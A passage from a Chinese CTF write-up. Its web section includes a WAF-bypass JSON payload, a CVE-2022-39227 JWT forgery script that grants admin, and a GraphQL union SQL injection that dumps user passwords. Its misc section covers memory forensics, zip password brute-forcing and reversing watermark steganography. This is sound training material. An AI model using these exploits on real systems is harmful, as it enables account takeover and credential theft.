body.to_lowercase().contains("proc"){ return String::from("./main.rs"); } if let Ok(json_body) = serde_json::from_str::<Value>(body) { if let Some(json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String::from("./main.rs"); } } if let Ok(file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String::from("./main.rs")); } } else{ //body not json return String::from(body); } return String::from("./main.rs"); } fn main() { let args: Vec<String> = env::args().collect(); println!("{}", waf(&args[1])); }发现 corctf 的某道题和这道题类似,也是绕过 fs.readfileSync 链接 链接2 将 payload 以 json 格式传,但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要利用 unicode 绕过。 最终 payload : {"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}得到 flag 3.FunWEB赶在题目环境关闭前问了下学长思路然后复现了一波 题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227 https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9 具体的 exp 在 commit 记录里面, 需要自己手动改 from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['is_admin'] = 1 parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g') print(token) 这里注册一个 123/123 用户, 然后用网站给的 token 来打 注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型 之后直接把输出复制到 cookie 里, 再访问 /getflag 提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询 参考文章 https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/ https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/ 根据输出的意思, 改成 getscoreusingid graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入 id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname 改成 getscoreusingnamehahaha union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password { getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } } 拿着 admin 的密码去登录, 点击查看 flag 0x02 MISC1.0o0o0文件尾是pk,然后伪加密可以解开 一个混淆脚本,要解混淆 from secret import o0o0o0_formula o0000o0000 = np.float32(cv2.imread('0000.bmp', 0)) o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0)) o0o0o0o0o0 = o0000o0000 for i in range(o0000o0000.shape[0]//8): # 0-64 for j in range(o0000o0000.shape[1]//8): # 0-64 o0oo000oo0 = int(o0000o0000.shape[0] / 8) o000000000 = int(o0000o0000.shape[1] / 8) o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1] o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000)) o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8]) for ooooooooo in range(o0ooooooo0): x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo o000ooo000 = o00o0o0o00[x, y] o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y] oo0o0 = secret([i, ooooooooo, random.randint(0, 10)]) oo000 = secret([j, ooooooooo, random.randint(0, 10)]) if o000ooo000 <= o0o0o0o0o0o: o0oo000oo0oo = random.randint(24, 36) else: o0oo000oo0oo = random.randint(-24, -12) o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo) o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2) o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00) cv2.imwrite("0o0o0.bmp", o0o0o0o0o0)实际上就是照着把变量换一便就行了,大概这样 import secrets import numpy as np img = np.float32(cv2.imread('0000.bmp', 0)) water = np.float32(cv2.imread('oooo.bmp', 0)) pic = img for i in range(img.shape[0]//8): for j in range(img.shape[1]//8): a = int(img.shape[0] / 8) b = int(img.shape[1] / 8) num = water.shape[0] * water.shape[1] r = math.ceil(num / (a * b)) dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8]) for m in range(r): rx,ry = r-m,r+m r1 = dct[rx,ry] r2 = dct[8-rx,8-ry] n1 = secret([i,m, random.randint(0, 10)]) n2 = secret([i,m, random.randint(0, 10)]) if r1<=r2: k = random.randint(24,36) else: k = random.randint(-24, -12) dct[8-rx,8-ry] = float(k) dct[rx,ry] += float((water[m][m] - 128)*2) pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct) cv2.imwrite("0o0o0.bmp", pic) ok,然后看看代码, 首先coploit非常牛逼,直接自动补全是dct域变换相关了,所以说这里直接也不用去想是什么算法相关了,网上脚本不太行,搜了下相关论文,还可以 一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com) 然后具体更多细节内容在secert中,这里我们要结合论文内容进行分析 过一遍,r=4,然后把128的内容写入512内,之后进行8×8的分块,然后每个块需要4像素才可以全部隐藏。 计算获得 n1 = i*2+m*2 n2 = j*2+m//2 编写dct空域解密脚本 import numpy as np import cv2 from PIL import Image img1 = cv2.imread('0o0o0.bmp') img1 = img1.astype('float32') img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) w,h = 128,128 r = 4 water = Image.new('L', (w, h), 255) res = [] a = int(img2.shape[0] / 8) b = int(img2.shape[1] / 8) for i in range(a): for j in range(b): dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8]) for m in range(r): rx,ry = 4-m,4+m r1 = dct[rx,ry] r2 = dct[7-rx,7-ry] if r1>r2: water.putpixel((i*2+m%2,j*2+m//2),0) res.append(0) else: water.putpixel((i*2+m%2,j*2+m//2),255) res.append(1) print(res) water.show()获得图片 读取,转ascii码,发现结果不对,尝试xor了一下0xff,获得flag from PIL import Image im = Image.open("water.bmp") im = im.convert("L") w,h = im.size flag = [] k = 0 for i in range(h): for j in range(w): if im.getpixel((j,i)) != 255: k += 1 else: flag.append(k) k = 1 for i in flag: print(chr(i^0xff),end="")2.strange_forensicslinux内存取证,基本上strings都能做,一步一步来 直接strings flag,发现了flag3 flag1说是用户的密码,总所周知linux密码存在/etc/shadow文件内,当然字符串那么多也不怎么好找,还是看看,随处可见的bob 那么bob也肯定就是明文存储在shadow里面了,看看shadow文件结构 用户名后跟冒号加$符号,直接搜索 找到了,直接丢入cmd5查询,获得flag1 890topico 然后flag2是个问题,继续寻找,尝试搜索Desktop等关键字,发现盲点,一个secret.zip的文件 010搜索zip的文件头,翻到最后发现了zip文件。 提取出来,是个伪解密,改下加密头00-》09进行爆破, 最后获得密码123456 拼接起来,最终flag 890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER 补充实际上使用vol做map解出来的捏,可惜查找文件效率实属感人, 写wp就懒得再做一遍了,strings大法好 3.lena水印,宇宙无敌超级大套娃,把关键内容基本都加了备注,混淆就是审计起来麻烦,其他的也没什么了,备注好各个功能就行,反正都是套娃,相互调用就行了,该题目使用的混淆工具 Oxyry Python Obfuscator – The most reliable python obfuscator in the world import cv2 import pywt import numpy as np from reedsolo import RSCodec #猫眼变换 def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O): O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape) OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2] for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO): for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO): for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO): O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 + OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO OOO00000OOO0O0O00 = ( OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 + (OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000, O0OO0OO00OO0O00O0] OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy() return O0OO0OOO0OO0O0O0O #b,分块,与c对应 def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00): O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2] OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00 OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00, OOO0000O0OOO00O0O, O0O0O0O0O0000OO00) O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array( [O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1]) OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO, O0OO0OOO0OOOO0O00).astype('float64') OO0OO0O0OO0OO0O0O = np.reshape( OO0OO0O0OO0OO0O0O, (OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)) return OO0OO0O0OO0OO0O0O #c 合块,与b对应 def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00): O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2] OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:] OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0, OOOOO0000O0OO00OO, OOOO00O0OOO0000O0) O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO) OOOOO00O0O00OO00O = [] for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O: OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1)) OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0) return OO00O0OO0O000OOOO #二值化用, def d(OO00OOOO00000O000): O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8') return O0O0000000000O00O #套娃变换,μ律 def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O): return np.log(1 + O0OOOOOO00OO00O0O * (np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O) #套娃里面的μ律逆变换 def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O): return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1 ) #也是套娃的,QIM def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO): O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO + (-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000 return O000O000OOOOO0OOO class Watermark: def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000): #初始变量定义,都是self O0O0OOO0O0O000000.block_shape = 4 O0O0OOO0O0O000000.arnold_factor = (6, 20, 22) O0O0OOO0O0O000000.rsc_factor = 100 O0O0OOO0O0O000000.mu_law_mu = 100 O0O0OOO0O0O000000.mu_law_X_max = 8000 O0O0OOO0O0O000000.delta = 15 O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32') O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2] O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2 O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2 O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8 O0O0OOO0O0O000000.rsc_size = len( RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size)) #补数 def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0): OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten() if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size: OO00O0O0O0O0000OO = np.hstack( (OO00O0O0O0O0000OO, np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8') return OO00O0O0O0O0000OO #字节压缩转换 def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO): OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes() return OOOO0OOO00O00OOOO #字节解压转换 def j(O0O0O0O0O0O00000O, O0O00OOO00000O000): OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8')) if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size: OOO0OOOO0O000O0OO = np.hstack( (OOO0OOOO0O000O0OO, np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8') return OOO0OOOO0O000O0OO #屎山套娃...上面的efg都在里面. def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO): O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy() for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0): OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0] O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO) OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O) OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0) OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max, OO00000O0OO0OO000.mu_law_mu) OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta) O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max, OO00000O0OO0OO000.mu_law_mu) for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape): if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO: OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0 O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)), OO0OO0OOOO000OO0O) O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O) O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000 return O00O0OOO00OO0OO00 #关键内容,最终变换.... def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO): OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换 OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00) #进行二值化 O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO) #补 OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0) #转换为字节 OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor) #纠错 O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节 OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组 O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:]) #压缩数组 O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb) #转换为YCrCb OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO) #分离通道 O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar') #小波变换 O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar') #小波变换 OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O, (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块 O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00, (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块 O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO) #DCT套娃变换 O000OOOO0000OOO00 = c(O00000OO0O00O0O0O, (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块 O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换 O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO, (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块 OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar') #小波逆变换 O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar') #小波逆变换 O0OO000O0000000O0 = cv2.merge( [OOO000O00O000OO0O, OOO00O0OOO00OO0OO.astype('float32'), O00OOO000O00OO0OO.astype('float32')]) O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR return O0OO0000000OO00O0 if __name__ == '__main__': carrier = cv2.imread('test_images/lena.png') watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE) wm = Watermark(carrier) embedded = wm.l(watermark) cv2.imwrite('embedded.png', embedded)关键内容是l()函数,后面流程我都加备注了,基本流程是 两个图片各经历了不同的变化, 水印做猫眼,二值化之后压缩转为字节,最后RScode转为bytes,然后进行解压缩数据 原图首先通道转换,Cr,Cb通道进行了小波转换,随后数据分块4×4 之后将水印进行嵌入,然后使用了超级无敌大套娃的k函数(dct,svd,μ,QIM),将两组数据分别写入,Cr,Cb通道,进行合块(c函数),最终进行反小波运算,将通道转为RGB,完成隐写。。。 我只能说那是真的 那么知道具体思路写解密脚本就行了,就是从下往上回着写,基本都有对应,不难 脚本如下,尊重一下出题人的想法, 此处我也使用同样类型的混淆算法进行编写exp from email.mime import image import hashlib import cv2 import numpy as np import pywt from reedsolo import RSCodec import matplotlib.pyplot as plt class WatermarkExtract (): def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ): O000OO00O00OOO0OO .block_shape =4 O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 ) O000OO00O00OOO0OO .rsc_factor =100 O000OO00O00OOO0OO .mu_law_mu =100 O000OO00O00OOO0OO .mu_law_X_max =8000 O000OO00O00OOO0OO .delta =15 O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32') O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ] O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2 O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2 O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17 O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size )) def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ): OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22 OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23 O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24 O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25 O0OO00O0000OOO000 =[]#line:26 for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27 O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28 O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29 return O0OOO0O00O0OO0OOO #line:30 def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32 OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33 O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34 OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35 OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36 OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37 OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38 return OO00O00OOOO0OOO00 #line:39 def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43 return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44 def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46 return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47 def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49 O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50 O000O0OOO000OOO0O =[]#line:51 for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52 O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53 O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54 O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55 O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56 O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57 if O000OOOOOOOOO0O0O >0 :#line:58 O000O0OOO000OOO0O .append (1 )#line:59 else :#line:60 O000O0OOO000OOO0O .append (0 )#line:61 return O000O0OOO000OOO0O #line:62 def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64 OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65 return OOO00000O00000OO0 #line:66 def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68 O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69 return O0O0O0OO00OO00OO0 #line:70 def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72 O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73 OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74 OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75 for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76 for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77 for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78 O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79 OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80 OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81 OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82 return OOOOOOO00OO0O0000 #line:84 def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87 O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88 OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89 OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90 O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92 OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93 O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94 O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95 O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97 OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98 O0OOO00O000000000 =np .array 